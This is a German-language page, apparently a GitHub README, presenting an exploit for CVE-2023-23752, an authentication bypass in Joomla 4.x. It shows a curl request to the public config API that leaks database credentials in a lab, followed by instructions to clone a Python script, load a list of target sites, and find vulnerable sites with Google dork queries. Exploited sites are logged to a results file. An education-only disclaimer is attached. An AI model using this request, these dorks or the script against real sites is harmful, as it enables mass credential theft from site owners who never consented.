
Exploit für CVE-2023-23752 (4.0.0 <= Joomla <= 4.2.7).
Exploit für CVE-2023-23752 (4.0.0 <= Joomla <= 4.2.7).
Wie besprochen handelt es sich bei CVE-2023-23752 um eine Umgehung der Authentifizierung, die zu einem Informationsleck führt. Die meisten öffentlichen Exploits nutzen die Umgehung, um die Systemkonfiguration preiszugeben, welche die Joomla!-MySQL-Datenbank-Anmeldedaten im Klartext enthält. Das Folgende zeigt das Leck:
$ curl -v http://10.9.49.205/api/index.php/v1/config/application?public=true
* Trying 10.9.49.205:80...
* TCP_NODELAY set
* Connected to 10.9.49.205 (10.9.49.205) port 80 (#0)
> GET /api/index.php/v1/config/application?public=true HTTP/1.1
> Host: 10.9.49.205
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Mon, 20 Mar 2023 15:14:05 GMT
< Server: Apache/2.4.41 (Ubuntu)
< x-frame-options: SAMEORIGIN
< referrer-policy: strict-origin-when-cross-origin
< cross-origin-opener-policy: same-origin
< X-Powered-By: JoomlaAPI/1.0
< Expires: Wed, 17 Aug 2005 00:00:00 GMT
< Last-Modified: Mon, 20 Mar 2023 15:14:05 GMT
< Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
< Pragma: no-cache
< Content-Length: 1983
< Content-Type: application/vnd.api+json; charset=utf-8
<
{"links":{"self":"http:\/\/10.9.49.205\/api\/index.php\/v1\/config\/application?public=true","next":"http:\/\/10.9.49.205\/api\/index.php\/v1\/config\/application?public=true&page%5Boffset%5D=20&page%5Blimit%5D=20","last":"http:\/\/10.9.49.205\/api\/index.php\/v1\/config\/application?public=true&page%5Boffset%5D=60&page%5Blimit%5D=20"},"data":[{"type":"application","id":"224","attributes":{"offline":false,"id":224}},{"type":"application","id":"224","attributes":{"offline_message":"This site is down for maintenance.<br>Please check back again soon.","id":224}},{"type":"application","id":"224","attributes":{"display_offline_message":1,"id":224}},{"type":"application","id":"224","attributes":{"offline_image":"","id":224}},{"type":"application","id":"224","attributes":{"sitename":"vulncheck","id":224}},{"type":"application","id":"224","attributes":{"editor":"tinymce","id":224}},{"type":"application","id":"224","attributes":{"captcha":"0","id":224}},{"type":"application","id":"224","attributes":{"list_limit":20,"i* Connection #0 to host 10.9.49.205 left intact
d":224}},{"type":"application","id":"224","attributes":{"access":1,"id":224}},{"type":"application","id":"224","attributes":{"debug":false,"id":224}},{"type":"application","id":"224","attributes":{"debug_lang":false,"id":224}},{"type":"application","id":"224","attributes":{"debug_lang_const":true,"id":224}},{"type":"application","id":"224","attributes":{"dbtype":"mysqli","id":224}},{"type":"application","id":"224","attributes":{"host":"localhost","id":224}},{"type":"application","id":"224","attributes":{"user":"root","id":224}},{"type":"application","id":"224","attributes":{"password":"labpass1","id":224}},{"type":"application","id":"224","attributes":{"db":"joomla_db","id":224}},{"type":"application","id":"224","attributes":{"dbprefix":"xj3n0_","id":224}},{"type":"application","id":"224","attributes":{"dbencryption":0,"id":224}},{"type":"application","id":"224","attributes":{"dbsslverifyservercert":false,"id":224}}],"meta":{"total-pages":4}}
In der obigen Machbarkeitsstudie antwortet der Server mit den Anmeldedaten root:labpass1, den Anmeldedaten für unser Test-Joomla!-MySQL-Konto. Es ist jedoch wichtig zu wissen, dass unser Test-MySQL-Server an 127.0.0.1 gebunden war, sodass der Angreifer nicht auf den Server zugreifen kann, was die Anmeldedaten größtenteils nutzlos macht. Die Bindung von MySQL an den lokalen Host sollte die häufigste Konfiguration sein, was dieses Datenleck stark einschränkt.
Dieser Exploit und Proof of Concept (PoC) dienen ausschließlich Bildungs- und Informationszwecken. Der Zweck der Bereitstellung besteht darin, potenzielle Schwachstellen in einer kontrollierten Umgebung zu demonstrieren. Ziel ist es, das Verständnis von Cybersicherheitskonzepten zu fördern und eine verantwortungsvolle Offenlegung zu unterstützen.
Durch den Zugriff auf und die Nutzung dieses Exploits und PoC erkennen Sie an, dass Sie allein für Ihre Handlungen verantwortlich sind und zustimmen, diese Informationen in Übereinstimmung mit den geltenden Gesetzen und Vorschriften zu verwenden. Der Autor übernimmt keine Haftung für Missbrauch oder Folgen, die aus der Nutzung dieses PoC für andere Zwecke als Bildung und verantwortungsvolle Offenlegung entstehen.
requests, colorama, urllib3, fake_useragent, aio-httpRepository klonen:
git clone https://github.com/Pushkarup/CVE-2023-23752.git
cd CVE-2023-23752
Erforderliche Python-Pakete installieren:
pip install -r requirements.txt
Erstellen Sie eine Textdatei mit den Zielseiten (eine pro Zeile) und speichern Sie sie mit der Endung .txt.
inurl:/api/index.php/v1/config/application?public=true, intitle:"Index of" /api/index.php/v1/config/application?public=true, filetype:php inurl:/api/index.php/v1/config/application?public=true, intitle:"Index of" AND intext:"config" AND intext:"application" AND intext:"public=true"Führen Sie das Skript aus:
python joomla.py
Lassen Sie das Skript seinen Lauf nehmen und folgen Sie den Anweisungen.
Jede erfolgreich ausgebeutete Seite wird in Results.txt gespeichert.
Beiträge sind willkommen! Wenn Sie Probleme finden oder Verbesserungen haben, können Sie gerne einen Pull Request eröffnen oder ein Issue erstellen.
Dieses Projekt ist unter der MIT-Lizenz lizenziert.